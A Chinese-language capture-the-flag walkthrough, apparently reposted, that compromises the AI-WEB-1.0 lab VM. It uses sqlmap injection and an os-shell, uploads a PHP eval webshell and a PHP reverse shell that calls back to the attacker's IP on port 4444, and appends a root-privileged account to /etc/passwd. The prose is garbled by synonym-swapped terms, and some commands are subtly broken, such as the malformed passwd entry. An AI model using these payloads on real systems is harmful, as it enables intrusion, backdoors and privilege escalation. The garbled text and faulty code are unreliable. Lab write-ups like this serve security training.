1.环境收集
攻击机kali ip:192.168.48.131
靶机AI-WEB-1.0 ip:192.168.48.138
2.信息收集
2.1 C段扫描
使用 arp-scan -l进行扫描发现靶机ip为192.168.48.138
2.2 端口扫描
(1)使⽤nmap -sV -v -T4 对靶机扫描,发现只开启了80端口
2.3目次扫描
(1)使⽤dirb 对⽹⻚进⼀步扫描,发现有robots.txt文件
(2)访问robots.txt文件,有两个目次
(3)依次访问这两个目次,都打不开
(4)使⽤dirb 对/m3diNf0进行扫描,发现有info.php文件,并进行访问,就可以发现文件路劲
(5)使⽤dirb 对/se3reTdir777进行扫描,发现有index.php文件,进行访问,发现是一个提接壤面
3. 毛病使用
3.1 SQL 注入
( 1 )输入 1 发现可以乐成访问 (2)输入1’ ,发现存在SQL注入毛病
(3)使用burpsuite进行抓包,发现注入点是uid=1%27&Operation=Submit
(4)使⽤sqlmap 进行测试
注⼊⻚⾯为http://192.168.48.138/se3reTdir777/index.php
注⼊点为uid=1&Operation=Submit
--dbs 列出数据库
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -dbs --batch
发现了两个数据库:aiweb1、information_schema
(5)查找aiweb1下的表
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 --tables --batch
找到两个表:user、systrmUser
(6)查找user表下的字段
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user --columns --batch
得到字段:firstName、id、lastName
(7)看user表下有什么有效信息
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user --columns -C id,firstName,lastName --dump --batch
3.2文件上传
(1)使用os-shell
--os-shell执⾏条件:
⽹站必须是root权限
必须知道⽹站的绝对路径
secure_file_priv⽆限定
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" --os-shell
这里选4 PHP
这里选2,绝对输入路径
由上面的info.php可以知道它的路径: /home/www/html/web1x443290o2sdf92213/
通过拼接可以知道它的上传路径:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
这里就可以看到进入到了os-shell
(2)在kali 创建一个1.php文件 输入一句话木马
<?php @eval($_REQUEST[cmd]);?>
(3)上传一句话木马到/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
se3reTdir777/uploads/下
⽤ sqlmap ⼯具写⼊⼀句话⽊⻢
–file-write:去读取⽊⻢⽂件
–file-dest:后⾯加要存放⽂件的地址
sqlmap -u "http://192.168.48.138/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php
(3)在os-shell使用ls检察
4.权限升级
4.1 使用蚁剑毗连
http://192.168.48.138/se3reTdir777/uploads/1.php
密码:cmd
4.2 nc反弹
(1)在kali开启监听
(2)在kali写一个2.php文件 ip为kaliip
<?php
$sock=fsockopen("192.168.48.131",4444);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
(2)上传2.php
sqlmap -u "http://192.168.48.138/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write 2.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/2.php
(4)检察是否上传乐成
(5)在蚁剑打开终端,实行2.php
(6)kali乐成监听
4.3 提权
(1)检察当前用户
在 Linux 系统中我们要向⼿动⽣成⼀个密码可以采⽤opensll passwd来⽣成⼀个密码作为⽤户账号的密码。Linux系统中的密码存放在 /etc/shadow ⽂件中,而且是以加密的⽅式存放的,根据加密⽅式的不同,所产⽣的加密后的密码的位数也不同。
openssl passwd的作⽤是⽤来计算密码hash的,⽬的是为了防⽌密码以明⽂的情势出现。
(2)使⽤ openssl 创建⼀个⽤户
openssl passwd 参数 ⽤户名 密码
-1:体现采⽤的是MD5加密算法。
-salt:指定salt值,不使⽤随机产⽣的salt。在使⽤加密算法进⾏加密时,纵然密码⼀样,salt不⼀样,所计算出来的hash值也不⼀样,除⾮密码⼀样,salt值也⼀样,计算出来的hash值才⼀ 样。salt为8字节的字符串。
openssl passwd -1 -salt awei 123456
(3)将⽤户aweiya写⼊/etc/passwd⽂件中
echo ‘awei  1$awei$L306CKBynJHk5VdzMqldT/:0:0:root:/root:/bin/bash’>>/etc/passwd
(4)检察是否写入乐成
cat /etc/passwd
(5)切换用户
⽤脚本提拔为交互式shell,然后切换⽤户
python -c 'import pty;pty.spawn("/bin/bash")'
su awei
(6)切换目次,查找flag
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |